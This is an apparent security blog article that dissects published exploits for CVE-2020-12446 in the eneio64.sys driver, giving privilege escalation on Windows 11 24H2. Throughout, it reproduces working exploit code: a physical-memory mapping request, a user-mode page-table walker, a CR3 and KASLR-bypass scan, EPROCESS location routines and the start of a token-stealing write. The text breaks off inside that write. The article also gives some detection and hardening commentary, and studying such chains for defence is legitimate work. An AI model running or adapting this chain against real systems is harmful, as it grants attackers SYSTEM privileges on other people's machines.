core-jmp core-jmpdeath of core jump

Physical Memory Is a Universal Kernel Primitive: The eneio64.sys LPE Chain on Windows 11 24H2

CVE-2020-12446 in eneio64.sys does not corrupt anything. Its MAPPHYSTOLIN handler opens \Device\PhysicalMemory and maps the entire physical address space, read/write, into whichever unprivileged process asked for it. What follows is a complete technical dissection of the three published exploit implementations built on that primitive. We reconstruct the driver's IOCTL dispatch from the 18 KB binary, compare three independent user-mode reimplementations of the x86-64 four-level page walk (including a real bug in one of them), show how a scan of the first megabyte of RAM recovers CR3 and defeats KASLR with no leak API, and trace the eight-byte EX_FAST_REF token write that ends the chain. Plus why HVCI, CFG, CET and the 2020 leak restrictions all watch it go past.

oxfemale August 18, 2026 33 min read 107 reads
Export PDF
Physical Memory Is a Universal Kernel Primitive: The eneio64.sys LPE Chain on Windows 11 24H2
Original text: Eneio64-Driver-ExploitsYazid (@Xacone), with the accompanying write-ups “Exploiting eneio64.sys Kernel Driver on Windows 11 by Turning Physical Memory R/W into Virtual Memory R/W” (8 March 2025) and “Circumventing Leak Restrictions and Breaking KASLR on Windows 11 24H2 using an HVCI-compatible Driver with Physical Memory Access” (9 June 2025); and Windows-11-24h2-Kernel-ExploitEnes Şakir Çolak (@enessakircolak), MIT License, Copyright (c) 2025 Enes. The underlying vulnerability, CVE-2020-12446, was discovered and disclosed by Hashim Jawad (@ihack4falafel) of ACTIVE Labs. Code blocks, WinDbg transcripts and run logs below are reproduced verbatim with attribution captions. The disassembly, PE analysis and IOCTL decoding are our own work on the driver binary shipped with the second repository.

Executive Summary

Bring-your-own-vulnerable-driver attacks are usually discussed in terms of what the driver lets you overwrite — an arbitrary kernel write here, a controlled call there, then a scramble to find a target that turns the primitive into privilege. eneio64.sys skips all of that. It is an 18,712-byte relic compiled in September 2014, signed with an ASUSTeK code-signing certificate, and derived from the ancient WinIo library. Its IOCTL_WINIO_MAPPHYSTOLIN handler opens \Device\PhysicalMemory with SECTION_ALL_ACCESS and calls ZwMapViewOfSection with a process handle of (HANDLE)-1. That single constant is the whole vulnerability: the entire physical address space is mapped, read/write, into the address space of whichever unprivileged process asked for it. CVE-2020-12446 carries a CVSS 3.1 base score of 7.8, and the driver was still loadable on a fully patched, HVCI-enabled Windows 11 24H2 as of the source authors’ testing in March and September 2025.

What makes the three exploits examined here worth studying is not the bug but the engineering built on top of it. Physical memory is the wrong coordinate system: every structure Windows cares about — EPROCESS, KTHREAD, tokens, the loaded module list — is addressed virtually. So the exploits reimplement the x86-64 memory management unit in user mode, walking PML4 → PDPT → PD → PT by hand over the mapped view. That requires CR3, which user mode cannot read, so they scan the first megabyte of physical memory for the processor start block Windows leaves there at boot — which also hands them the randomised ntoskrnl base, defeating KASLR without touching a single leak API. This article walks the complete chain, compares the three independent implementations line by line (including a genuine bug in one of them), reconstructs the driver’s dispatch path from the binary, and closes with the detection and hardening posture that actually applies — because HVCI, CFG, CET and the 2020-era leak restrictions all watch this attack go past without objecting.

The Driver: 18 KB of 2014 WinIo, Still Loadable in 2025

The enessakircolak repository ships the driver binary alongside the exploit, which makes it possible to verify the attack surface directly rather than taking the write-ups on faith. Parsing the PE header gives a machine type of 0x8664, six sections, and a TimeDateStamp of 0x540FF16D — 10 September 2014, 06:36:29 UTC. The image is 18,712 bytes with a SHA-256 of 38c18db050b0b2b07f657c03db1c9595febae0319c746c3eede677e21cd238b0. DllCharacteristics is 0x160, so both ASLR and NX are declared — mitigations that turn out to be entirely beside the point for a data-only attack.

The provenance is written in the strings. A leftover PDB path of D:\tmp\GLKIo_git\x64\Win7Debug\Drv.pdb, symbolic names such as IOCTL_WINIO_MAPPHYSTOLIN and MapPhysicalMemoryToLinearSpace, and the UTF-16 device names make the lineage unambiguous: this is a rebadged build of WinIo, the general-purpose direct-hardware-access library that has been recycled into vendor RGB, fan-control and overclocking utilities for two decades. The embedded certificate chain names ASUSTeK Computer Inc. (Quality Testing Department) under the VeriSign Class 3 Code Signing 2010 CA, valid 2012–2015 and countersigned by Symantec Time Stamping Services CA – G2 on 10 September 2014. That countersignature is why an expired certificate still produces a loadable driver eleven years later: Authenticode treats a timestamped signature as valid for the life of the timestamping authority’s trust, not the signer’s certificate.

$ python3 -c "import re; d=open('eneio64.sys','rb').read(); \
  print('\n'.join(m.group().decode('utf-16-le') for m in re.finditer(rb'(?:[\x20-\x7e]\x00){4,}',d)))"

\Device\GLCKIo
\DosDevices\GLCKIo
\Device\PhysicalMemory
CrossC

Four UTF-16 strings, and the third one is the entire security story. A driver that names \Device\PhysicalMemory is not exposing a bug in the traditional sense — there is no overflow, no missing bounds check, no race. It is doing exactly what it was designed to do, for a caller it was never designed to serve.

Diagram of the eneio64.sys IOCTL dispatch table and the ZwMapViewOfSection call that maps all physical memory into an unprivileged caller
Figure 1 — The full dispatch path, from an unprivileged DeviceIoControl to a BYTE* that aliases physical address zero. Diagram produced for this article from our own disassembly of the driver binary shipped with enessakircolak/Windows-11-24h2-Kernel-Exploit.

Decoding the dispatch table

Both exploits use only two IOCTL codes, 0x80102040 and 0x80102044, but the driver exposes six. The dispatcher is a compiler-generated jump table, which makes the complete set recoverable without guesswork: subtract the base code, bounds-check against 0x1c, index a byte table, then index a dword table of RVAs.

0x140001845  8b442440             mov  eax, dword ptr [rsp + 0x40]
0x140001849  2d40201080           sub  eax, 0x80102040
0x14000184e  89442440             mov  dword ptr [rsp + 0x40], eax
0x140001852  837c24401c           cmp  dword ptr [rsp + 0x40], 0x1c
0x140001857  0f871a030000         ja   0x140001b77          ; default -> STATUS_INVALID_DEVICE_REQUEST
0x14000185d  8b442440             mov  eax, dword ptr [rsp + 0x40]
0x140001861  488d0d98e7ffff       lea  rcx, [rip - 0x1868]  ; = 0x140000000, the image base
0x140001868  0fb68401f81b0000     movzx eax, byte ptr [rcx + rax + 0x1bf8]   ; case index table
0x140001870  8b8481dc1b0000       mov  eax, dword ptr [rcx + rax*4 + 0x1bdc] ; case address table
0x140001877  4803c1               add  rax, rcx
0x14000187a  ffe0                 jmp  rax

Walking those two tables and resolving the DbgPrint string reference at the head of each case handler yields the complete, verified IOCTL surface. Every one of them decodes with an access field of zero — FILE_ANY_ACCESS — so the IOCTL itself imposes no requirement on how the handle was opened. The only gate left is the device object’s DACL, and the driver calls IoCreateDevice and IoCreateSymbolicLink without applying an explicit security descriptor.

IOCTL nameCodeFunctionMethodAccessHandler RVA
IOCTL_WINIO_MAPPHYSTOLIN0x801020400x810METHOD_BUFFEREDFILE_ANY_ACCESS0x1400019c7
IOCTL_WINIO_UNMAPPHYSADDR0x801020440x811METHOD_BUFFEREDFILE_ANY_ACCESS0x140001a77
IOCTL_WINIO_READPORT0x801020500x814METHOD_BUFFEREDFILE_ANY_ACCESS0x140001910
IOCTL_WINIO_WRITEPORT0x801020540x815METHOD_BUFFEREDFILE_ANY_ACCESS0x14000187c
IOCTL_WINIO_READMSR0x801020580x816METHOD_BUFFEREDFILE_ANY_ACCESS0x140001ae5
IOCTL_WINIO_WRITEMSR0x8010205c0x817METHOD_BUFFEREDFILE_ANY_ACCESS0x140001b2e
The complete IOCTL surface, recovered from the jump table and the per-case DbgPrint strings. Our own analysis of the shipped binary; the two published exploits use only the first two.

The four unused handlers deserve a moment. Port I/O and MSR read/write are, on their own, complete privilege-escalation primitives on many systems — arbitrary MSR write in particular can be turned into kernel code execution through IA32_LSTAR on hosts without VBS. A defender treating this driver purely as “the physical memory one” is underestimating it by four capabilities.

Xacone’s repository ships a small helper for exactly the DACL question this raises — a decoder for the access mask a device object grants, reproduced here in full:

def decode_access_mask(mask):
    access_rights = {
        0x00010000: "DELETE",
        0x00020000: "READ_CONTROL",
        0x00040000: "WRITE_DAC",
        0x00080000: "WRITE_OWNER",
        0x00100000: "SYNCHRONIZE",
        0x00000001: "FILE_READ_DATA",
        0x00000002: "FILE_WRITE_DATA",
        0x00000004: "FILE_APPEND_DATA",
        0x00000008: "FILE_READ_EA",
        0x00000010: "FILE_WRITE_EA",
        0x00000020: "FILE_EXECUTE",
        0x00000040: "FILE_DELETE_CHILD",
        0x00000080: "FILE_READ_ATTRIBUTES",
        0x00000100: "FILE_WRITE_ATTRIBUTES",
        0x00020000: "STANDARD_RIGHTS_READ",
        0x00020000: "STANDARD_RIGHTS_WRITE",
        0x00020000: "STANDARD_RIGHTS_EXECUTE",
        0x001f0000: "STANDARD_RIGHTS_ALL",
        0x10000000: "GENERIC_ALL",
        0x20000000: "GENERIC_EXECUTE",
        0x40000000: "GENERIC_WRITE",
        0x80000000: "GENERIC_READ",
    }

    if isinstance(mask, str):
        mask = int(mask, 16)

    associated_rights = []
    for value, name in access_rights.items():
        if mask & value:
            associated_rights.append(name)

    return associated_rights

mask = input("Access Mask: ")
rights = decode_access_mask(mask)

print("Rights associated with the mask:")
for right in rights:
    print(f"- {right}")

Reproduced verbatim from sd.py in Xacone/Eneio64-Driver-Exploits. Note that the dictionary literal collapses the three STANDARD_RIGHTS_* aliases and READ_CONTROL onto the single key 0x00020000, so only the last one written survives — a Python detail worth knowing before trusting its output on a real descriptor.

The Primitive: \Device\PhysicalMemory Handed to a Medium-IL Caller

MapPhysicalMemoryToLinearSpace is four kernel calls long, and the disassembly reads like a checklist of everything that should not happen in sequence.

; --- 1. Open the physical memory section with full access -------------------
0x14000127d  4c8d842480000000     lea  r8,  [rsp + 0x80]        ; OBJECT_ATTRIBUTES -> \Device\PhysicalMemory
0x140001285  ba1f000f00           mov  edx, 0xf001f             ; SECTION_ALL_ACCESS
0x140001292  ff15b81d0000         call qword ptr [rip + 0x1db8] ; ZwOpenSection

; --- 2. Take a *kernel-mode* reference to the section object ----------------
0x1400012bd  4533c9               xor  r9d, r9d                 ; AccessMode = KernelMode
0x1400012c0  4533c0               xor  r8d, r8d                 ; ObjectType = NULL
0x1400012c3  ba1f000f00           mov  edx, 0xf001f             ; SECTION_ALL_ACCESS
0x1400012d3  ff155f1d0000         call qword ptr [rip + 0x1d5f] ; ObReferenceObjectByHandle

; --- 3. Translate the caller-supplied bus addresses -------------------------
0x140001329  33d2                 xor  edx, edx                 ; BusNumber = 0
0x14000132b  b901000000           mov  ecx, 1                   ; InterfaceType = Isa
0x140001330  ff15ca1c0000         call qword ptr [rip + 0x1cca] ; HalTranslateBusAddress

; --- 4. Map the view into the CALLING process ------------------------------
0x1400013a3  c744244804020000     mov  dword ptr [rsp + 0x48], 0x204  ; PAGE_READWRITE | PAGE_NOCACHE
0x1400013b3  c744243801000000     mov  dword ptr [rsp + 0x38], 1      ; InheritDisposition = ViewShare
0x1400013e7  48c7c2ffffffff       mov  rdx, 0xffffffffffffffff        ; ProcessHandle = NtCurrentProcess()
0x1400013f9  ff15591c0000         call qword ptr [rip + 0x1c59]       ; ZwMapViewOfSection

Step two is the quiet part. By taking a KernelMode reference to the section object, the driver ensures that the subsequent mapping is not evaluated against the caller’s access rights — the kernel is vouching for a request that originated in user mode. Step four then names NtCurrentProcess() as the target. There is no impersonation, no check of the caller’s token, no verification that the requested range is a device BAR rather than system RAM. The ViewSize is taken directly from the IRP’s input buffer.

On the exploit side, the request is a five-field struct and one DeviceIoControl. Both repositories declare it identically:

#define DEVICE_NAME "\\\\.\\GLCKIo"
#define IOCTL_WINIO_MAPPHYSTOLIN 0x80102040
#define IOCTL_WINIO_UNMAPPHYSADDR 0x80102044

typedef struct _INPUTBUF
{
    ULONG64 Size;
    ULONG64 val2;
    ULONG64 val3;
    ULONG64 MappingAddress;
    ULONG64 val5;

} INPUTBUF;

Verbatim from exploit/main.cpp (Xacone) and, field for field, from LPEeneio64.cpp (enessakircolak). The request asks for everything the machine has, and the driver obliges:

    MEMORYSTATUSEX memoryStatus;
    memoryStatus.dwLength = sizeof(memoryStatus);

    if (GlobalMemoryStatusEx(&memoryStatus)) {
        printf("[*] Total physical memory: ~0x%llx bytes\n", memoryStatus.ullTotalPhys);
        printf("[*] Highest available physical memory address: ~0x%llx\n", memoryStatus.ullTotalPhys - 1);
    }

    INPUTBUF* inbuf = (INPUTBUF*)malloc(sizeof(INPUTBUF));
    inbuf->Size = (memoryStatus.ullTotalPhys - 1);
    inbuf->val2 = 0;
    inbuf->val3 = 0;
    inbuf->MappingAddress = 0;
    inbuf->val5 = 0;

    BOOL success = DeviceIoControl(
        drv,
        IOCTL_WINIO_MAPPHYSTOLIN,
        inbuf,
        sizeof(INPUTBUF),
        inbuf,
        sizeof(INPUTBUF),
        &bytes_returned,
        (LPOVERLAPPED)NULL
    );

    if (success) {

        wprintf(L"[*] Mapped %llx bytes at %p\n", inbuf->Size, inbuf->MappingAddress);

        BYTE* memory_data = (BYTE*)inbuf->MappingAddress;

Reproduced from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. From this line forward, memory_data[pa] is the byte at physical address pa. No further kernel transitions are required for anything the exploit does — the remaining work is arithmetic and pointer chasing in ordinary user-mode C.

Problem One: Everything Windows Knows Is Indexed by Virtual Address

A physical-memory alias is a powerful primitive and a badly formatted one. Every pointer the operating system hands out, every field inside EPROCESS, every entry in PsActiveProcessHead is a kernel virtual address. The mapped view knows nothing about virtual addresses. Bridging that gap means doing what the CPU’s page-walking hardware does, in software, using the physical map as the memory bus.

Diagram of the x86-64 four-level page table walk reimplemented in user mode over a physical memory mapping
Figure 2 — The four-level walk, and the two implementations of it that ship in Xacone’s repository. Diagram produced for this article; walk structure follows Intel SDM Vol. 3A §4.5.

The whole translator rests on one helper. Reading a QWORD from physical memory is a byte-at-a-time assembly of the mapped array, which keeps the code alignment-agnostic:

UINT64 ReadMemoryU64(const UINT8* memory_data, UINT64 physical_address) {
    UINT64 value = 0;
    for (size_t i = 0; i < sizeof(UINT64); ++i) {
        value |= (UINT64)(memory_data[physical_address + i]) << (i * 8);
    }
    return value;
}

void WriteMemoryU64(UINT8* memory_data, UINT64 physical_address, UINT64 value) {
    for (size_t i = 0; i < sizeof(UINT64); ++i) {
        memory_data[physical_address + i] = (UINT8)(value >> (i * 8));
    }
}

Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits.

The walk itself

The refined version in procs/main.cpp is the one to read. It splits the canonical 48-bit virtual address into four nine-bit indices and a twelve-bit page offset, checks the present bit at every level, and handles both large-page shortcuts:

UINT64 VirtualToPhysical(UINT64 cr3, UINT64 virtualAddr, BYTE* map) {
    UINT64 physicalAddr = 0;
    uint16_t PML4 = (uint16_t)((virtualAddr >> 39) & 0x1FF);
    uint16_t DirectoryPtr = (uint16_t)((virtualAddr >> 30) & 0x1FF);
    uint16_t Directory = (uint16_t)((virtualAddr >> 21) & 0x1FF);
    uint16_t Table = (uint16_t)((virtualAddr >> 12) & 0x1FF);

    uint64_t PML4E = ReadMemoryU64(map, cr3 + PML4 * sizeof(uint64_t));
    if (!(PML4E & 0x1)) {
        printf("[!] PML4E not present for VA 0x%llx\n", virtualAddr);
        return 0;
    }

    uint64_t PDPTE = ReadMemoryU64(map, (PML4E & 0xFFFFFFFFFF000) + DirectoryPtr * sizeof(uint64_t));
    if (!(PDPTE & 0x1)) {
        printf("[!] PDPTE not present for VA 0x%llx\n", virtualAddr);
        return 0;
    }

    if (PDPTE & (1 << 7)) {
        physicalAddr = (PDPTE & 0xFFFFFC0000000) + (virtualAddr & 0x3FFFFFFF);
        return physicalAddr;
    }

    uint64_t PDE = ReadMemoryU64(map, (PDPTE & 0xFFFFFFFFFF000) + Directory * sizeof(uint64_t));
    if (!(PDE & 0x1)) {
        printf("[!] PDE not present for VA 0x%llx\n", virtualAddr);
        return 0;
    }

    if (PDE & (1 << 7)) {
        physicalAddr = (PDE & 0xFFFFFFFE00000) + (virtualAddr & 0x1FFFFF);
        return physicalAddr;
    }

    uint64_t PTE = ReadMemoryU64(map, (PDE & 0xFFFFFFFFFF000) + Table * sizeof(uint64_t));
    if (!(PTE & 0x1)) {
        printf("[!] PTE not present for VA 0x%llx\n", virtualAddr);
        return 0;
    }

    physicalAddr = (PTE & 0xFFFFFFFFFF000) + (virtualAddr & 0xFFF);
    return physicalAddr;
}

Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits. Bit 7 of a PDPTE or PDE is the page-size bit; when set, the walk terminates early at a 1 GiB or 2 MiB page and the offset mask widens accordingly. Skipping those two branches on a kernel that uses large pages for the loaded image — which Windows does — produces plausible-looking garbage rather than an obvious failure.

The earlier implementation, and a real bug in it

The version in exploit/main.cpp predates the refinement and differs in three ways worth calling out, because the third is a genuine defect that changes how the surrounding code has to be written.

  1. No present-bit checks at any level. A not-present entry is treated as a base address and the walk continues into whatever the upper bits happen to encode.
  2. An inconsistent PDPTE mask. The address bits are extracted with PML4E & 0xFFFF1FFFFFF000 rather than 0xFFFFFFFFFF000 — a stray nibble that survives into the physical index.
  3. A comparison where an assignment belongs. The 4 KiB path ends with ==, not =.
    uint64_t PTE = 0;

    for (size_t i = 0; i < sizeof(uint64_t); ++i) {
        PTE |= (uint64_t)(map[((PDE & 0xFFFFFFFFFF000) + (uint64_t)Table * sizeof(uint64_t)) + i]) << (i * 8);
    }

    std::cout << "\t[*] PTE at " << std::hex << PTE << std::endl;

    physicalAddr == (PTE & 0xFFFFFFFFFF000) + (virtualAddr & 0xFFF);

    return physicalAddr;

Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. The expression is evaluated, compared against the still-zero physicalAddr, and discarded; the function then returns zero for every address that resolves through a 4 KiB page. Only the large-page branches, which return early, ever produce a usable result. That is why the caller cannot simply call the translator once:

        HANDLE dummyHandle = 0;
        ULONG64 kthread = 0x0;
        UINT64 kThreadPhysical = 0;

        do {
            dummyHandle = createdummyThread();
            kthread = LeakKTHREAD(dummyHandle);
            kThreadPhysical = VirtualToPhysical(cr3, kthread, memory_data);

        } while (kThreadPhysical == 0);

Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. The loop spawns suspended threads until one of them happens to have its KTHREAD backed by a large page, at which point the early-return branch fires and the walk yields a real address. It works, and it is a fine illustration of how a data-only exploit can be self-correcting: the failure mode is a zero, not a crash, so brute force covers for a typo. The corrected walk in procs/main.cpp makes that same retry meaningful, because a zero there genuinely means “paged out or unmapped” rather than “the 4 KiB path is broken”.

There is a real race underneath the workaround regardless of implementation quality. The page tables are live: the kernel is editing them while the exploit walks them. A PTE can be valid when it is read and stale by the time the target byte is touched, and a paged-out EPROCESS has no leaf entry at all. That is why procs/main.cpp wraps every translation in a bounded retry with a short sleep, and why exploit/main.cpp restarts its own process outright when the current EPROCESS fails to resolve:

        if (currentProcPhysical == 0x0) {
            UnMapViewOfSection(drv, inbuf);
            std::cerr << "[X] Current Process EPROCESS not valid (= 0). Spawning new process..." << std::endl;
            restart_process();
        }

Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. From a detection standpoint this is a gift: the exploit’s failure handling is louder than its success path. A process that repeatedly re-execs itself while holding a multi-gigabyte non-cached mapping is a far stronger signal than any single API call in the chain.

Problem Two: Where Is CR3?

The walk needs a root, and the root is CR3 — a control register that user mode cannot read. The answer is one of the more elegant tricks in the chain, and it also solves KASLR as a side effect.

During boot and whenever an application processor is brought up or resumed, Windows writes a processor start block into low physical memory: a structure that carries the saved control registers, GDT and IDT descriptors, and pointers into the kernel image, because the AP starts in real mode and needs somewhere below 1 MiB to bootstrap from. That block never moves and is never scrubbed. With a physical-memory read it is a directory of exactly the two things the exploit is missing.

Diagram of the Windows Low Stub scan that recovers CR3 and the ntoskrnl base address without any kernel address leak API
Figure 3 — Scanning the first megabyte of RAM for the Low Stub, and the three ways the three exploits anchor that scan. Diagram produced for this article from the scan loops in the two source repositories.

The scan is trivial. What makes it work is that kernel ASLR relocates ntoskrnl on a 2 MiB-aligned boundary, so the low bits of any kernel address are simply its RVA — and the RVA is available for free from the copy of ntoskrnl.exe on disk. Matching the low 16 or 20 bits of a known RVA against QWORDs in the Low Stub locates the live pointer; subtracting the RVA yields the randomised base.

        for (DWORD_PTR physical_offset = 0; physical_offset < 0x100000; physical_offset += sizeof(UINT64)) {
            UINT64 qword_value = ReadMemoryU64(memory_data, physical_offset);
            if ((qword_value & 0xFFFFF) == (ntosEntryPoint & 0xFFFFF)) {
                printf("[*] Found KiSystemStartup -> %p\n", (void*)qword_value);
                supposedNtosBase = (qword_value - ntosEntryPoint);
                printf("[*] In a silly way, we can assume NTOS base address is %p\n", (void*)supposedNtosBase);

                ULONG32 cr3_physical = physical_offset - 0xf8 - 0xf0 + 0x010;
                cr3 = ReadMemoryU64(memory_data, cr3_physical);
                printf("[*] CR3 (PML4) = %llx\n", cr3);
                break;
            }
        }

Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits. The arithmetic - 0xf8 - 0xf0 + 0x010 walks back from the matched pointer to the head of the start block, then forward to the saved CR3 in its SpecialRegisters sub-structure. The other two implementations use the equivalent but differently anchored physical_offset + 0x30.

Three ways to anchor the same scan

The scan needs a known value to match against, and the three implementations choose very differently. The choice is the single biggest determinant of how long each exploit stays alive across Windows updates.

A. Hardcoded RVA plus a leaked base. The original exploit/main.cpp computes GetNtosBase() + 0x410660, where GetNtosBase() is the first entry returned by EnumDeviceDrivers. This needs a kernel-address leak just to begin, and the RVA is pinned to one 22H2 build.

ULONG64 GetNtosBase() {

    LPVOID driverBaseAddresses[1024];
    DWORD sizeRequired;

    if (EnumDeviceDrivers(driverBaseAddresses, sizeof(driverBaseAddresses), &sizeRequired)) {
        return (ULONG64)driverBaseAddresses[0];
    }

    return NULL;
}

Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. Microsoft’s progressive restriction of kernel-address disclosure to medium-integrity callers is precisely what motivated the later work.

B. An opcode signature. LPEeneio64.cpp scans the on-disk image for the first eight opcode bytes of HalpLMStub, recovering the RVA per build instead of hardcoding it:

        for (int i = 0x0; i < 0x1000000; i++) {
            UINT64 qword_value = (DWORD_PTR)hModule + i;

			if ((*((unsigned long long*)qword_value)) == 0xe1200f00ebd8220f) // first opcodes of the halpLMStub
            {

                halpLmStubPhysicalPointer = qword_value;
                halpoffset = i;
                printf("[*] HalpLMStub offset -> %p\n", halpoffset);

                break;
            }
        }

Verbatim from LPEeneio64.cpp in enessakircolak/Windows-11-24h2-Kernel-Exploit (MIT). This survives updates that relocate the function but not ones that change its prologue.

C. An exported symbol resolved at runtime. kaslr/main.cpp and procs/main.cpp map ntoskrnl.exe as a normal module and ask the export table where things are. Nothing is hardcoded at all:

    HMODULE hModule = LoadLibrary(L"ntoskrnl.exe");
    printf("[*] ntoskrnl.exe loaded at %p\n", hModule);

    UINT64 kiSystemStartupOffset = ((UINT64)GetProcAddress(hModule, "KiSystemStartup") - (UINT64)hModule);

Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits. This is the version defenders should assume: the exploit follows Microsoft across builds for free, so offset churn is not a mitigation.

One caveat applies to all three: CR3 is read into a ULONG32. On a machine with a few gigabytes of RAM the PML4 always lands below 4 GiB and the truncation is invisible. On a host where the page directory base is allocated higher, the walk would silently root itself at the wrong physical address.

Problem Three: Finding the System Process

With physical read/write, a working translator and the kernel base, the last unknown is a pointer to the EPROCESS whose token is worth stealing. Again, three approaches.

Diagram of three techniques for locating the System EPROCESS object and walking PsActiveProcessHead
Figure 4 — Locating the System EPROCESS, resolving a RIP-relative lea from raw bytes, and walking the active process list. Diagram produced for this article from the three source implementations.

Xacone’s original walks the big pool for the Proc tag. The System process object is a large pool allocation, and SystemBigPoolInformation reports its address; +0x3f clears the low NonPaged flag bit encoded in the union and steps past the pool header:

    for (unsigned int i = 0; i < info->Count; i++) {
        SYSTEM_BIGPOOL_ENTRY poolEntry = info->AllocatedInfo[i];

        if (poolEntry.TagUlong != 0x636f7250) {
            continue;
        }

        printf("[*] Tag: %.*s, Address: 0x%llx, Size: 0x%x\n", 4, poolEntry.Tag, poolEntry.VirtualAddress, poolEntry.SizeInBytes);
        return (UINT64)poolEntry.VirtualAddress;
    }
    return NULL;

Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. 0x636f7250 is 'Proc' in little-endian.

The enessakircolak implementation takes the direct route and dereferences the exported PsInitialSystemProcess variable at a hardcoded RVA. The maintenance cost is visible in the source itself:

#define EPROCESS_TOKEN_OFFSET 0x248// win11 24h2 x64
#define PsInitialSystemProcessOffset 0xFC4AA8 // win11 24h2 x64
//#define PsInitialSystemProcessOffset 0xFC5AB0 // win11 25h2 x64
#define halpLMStubOffset 0x66DF70 // win11 24h2 x64
#define ProcessID_OFFSET 0x1d0  // win11 24h2 x64
#define Flink_OFFSET 0x1d8  // win11 24h2 x64

Verbatim from LPEeneio64.cpp in enessakircolak/Windows-11-24h2-Kernel-Exploit (MIT). One constant per Windows build, and the 25H2 line already commented in.

Reading the kernel’s own instruction stream

The most portable route is also the most interesting. nt!KeCapturePersistentThreadState is exported, and it loads two kernel globals into RAX with consecutive lea instructions — first PsLoadedModuleList, then PsActiveProcessHead. Since the exploit can read the kernel’s .text out of physical memory, it can decode those instructions the way a disassembler would.

2: kd> u KeCapturePersistentThreadState+0xfa
nt!KeCapturePersistentThreadState+0xfa:
fffff807`906a2c0a 488d052f20c500  lea     rax,[nt!PsLoadedModuleList (fffff807`912f4c40)]
fffff807`906a2c11 48894320        mov     qword ptr [rbx+20h],rax
fffff807`906a2c15 488d05e427c600  lea     rax,[nt!PsActiveProcessHead (fffff807`91305400)]
fffff807`906a2c1c 48894328        mov     qword ptr [rbx+28h],rax
fffff807`906a2c20 c7433064860000  mov     dword ptr [rbx+30h],8664h
fffff807`906a2c27 e864b61200      call    nt!KeQueryActiveProcessorCountEx (fffff807`907ce290)
fffff807`906a2c2c 4883a3080f000000 and    qword ptr [rbx+0F08h],0
fffff807`906a2c34 488d8b40100000  lea     rcx,[rbx+1040h]

WinDbg transcript reproduced from procs/README.md in Xacone/Eneio64-Driver-Exploits.

The implementation is a byte-pattern search for the 48 8D 05 encoding of lea rax, [rip+disp32], taking the second occurrence, then standard RIP-relative arithmetic: the displacement is signed and little-endian, and it is relative to the address of the next instruction, which for a 7-byte lea means the match plus seven.

  for (int i = 0; i < 1000; i++) {

      if (i >= 2 &&
          memory_data[KeCapPersThAddrPhysical + i - 2] == 0x48 &&
          memory_data[KeCapPersThAddrPhysical + i - 1] == 0x8D &&
          memory_data[KeCapPersThAddrPhysical + i] == 0x05) {
          occ++;
          int seq_offset = i - 2;

          //printf("\n\n[*] Found sequence 48 8D 05 (occurrence #%d) at offset 0x%x from function start\n", occ, seq_offset);

          if (occ == 2) {
              INT32 rip_offset = *(INT32*)&memory_data[KeCapPersThAddrPhysical + seq_offset + 3];
              UINT64 instruction_addr = KeCapPersThAddr + seq_offset;
              UINT64 rip_next = instruction_addr + 7;
              UINT64 target_addr = rip_next + rip_offset;
              PsActiveProcessHead = target_addr;
              break;
          }
      }

  }

Verbatim from procs/README.md and procs/main.cpp in Xacone/Eneio64-Driver-Exploits.

Walking the list

PsActiveProcessHead anchors a circular doubly linked list threaded through the ActiveProcessLinks field of every EPROCESS. Getting from a link back to the containing object is a subtraction — the manual equivalent of CONTAINING_RECORD. Each hop, however, is a kernel virtual address, so each hop costs a full four-level walk, which is itself four physical reads. Enumerating 300 processes runs to roughly 6,000 page-table reads through the mapped view.

            while (current_list_entry_va != PsActiveProcessHead && count < max_processes) {
                UINT64 eprocess_va = current_list_entry_va - ACTIVE_PROCESS_LINKS_OFFSET;

                // Read PID with retry mechanism
                UINT64 pid_va = eprocess_va + UNIQUE_PROCESS_ID_OFFSET;
                UINT64 pid_phys = 0;
                int retry_count = 0;
                const int max_retries = 3;
                for (retry_count = 0; retry_count < max_retries; retry_count++) {
                    pid_phys = VirtualToPhysical(cr3, pid_va, memory_data);
                    if (pid_phys != 0) break;
                    printf("[!] Retry %d: Failed to translate PID VA 0x%llx\n", retry_count + 1, pid_va);
                    Sleep(10); // Short delay to handle potential race conditions
                }

Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits, using the 24H2 offsets the source attributes to the Vergilius Project.

Structure fieldWindows 11 22H2Windows 11 24H2Consequence if wrong
_EPROCESS.Token0x4b80x248Eight-byte write into an unrelated field → bugcheck
_EPROCESS.ActiveProcessLinks0x1d8List walk desynchronises, arbitrary pointers followed
_EPROCESS.UniqueProcessId0x1d0Wrong process identified as self
_EPROCESS.ImageFileName0x5a80x338Garbage process names, self-detection fails
_KTHREAD.Process0x220Token stolen for the wrong process
Offsets as declared across the two repositories. 22H2 values from exploit/main.cpp; 24H2 values from procs/main.cpp and LPEeneio64.cpp. Source: the original repositories.

The Payload: Eight Bytes

Everything so far exists to compute two physical addresses. What happens between them is the least sophisticated part of the chain.

Diagram of EX_FAST_REF token theft: masking the reference count nibble and writing the System token into EPROCESS+0x248
Figure 5 — _EX_FAST_REF layout, the masked copy, and what the write leaves behind for defenders to find. Diagram produced for this article from the token-theft code in both repositories.

_EPROCESS.Token is not a plain pointer. It is an _EX_FAST_REF: because token objects are always sixteen-byte aligned, the low four bits are free, and the kernel uses them to cache up to fifteen outstanding references. Copying the raw QWORD would import the System process’s reference count along with its token, so both implementations mask first.

        UINT64 systemTokenPhysAddr = physicalSysPoolAddr + EPROCESS_TOKEN_OFFSET;

        std::cout << "[*] System Token physical addr at " << std::hex << systemTokenPhysAddr << std::endl;

        UINT64 systemToken = 0;

        for (size_t i = 0; i < sizeof(UINT64); ++i) {
            systemToken |= (UINT64)(memory_data[systemTokenPhysAddr + i]) << (i * 8);
        }

        systemToken = (systemToken & 0xFFFFFFFFFFFFFFF0);

        std::cout << "[*] System Token : " << std::hex << systemToken << std::endl;

        UINT64 currentProcTokenPhysical = (currentProcPhysical + EPROCESS_TOKEN_OFFSET);

        std::cout << "[*] Current Process Token physical addr at " << std::hex << currentProcTokenPhysical << std::endl;

        for (int i = 0; i < sizeof(UINT64); ++i) {
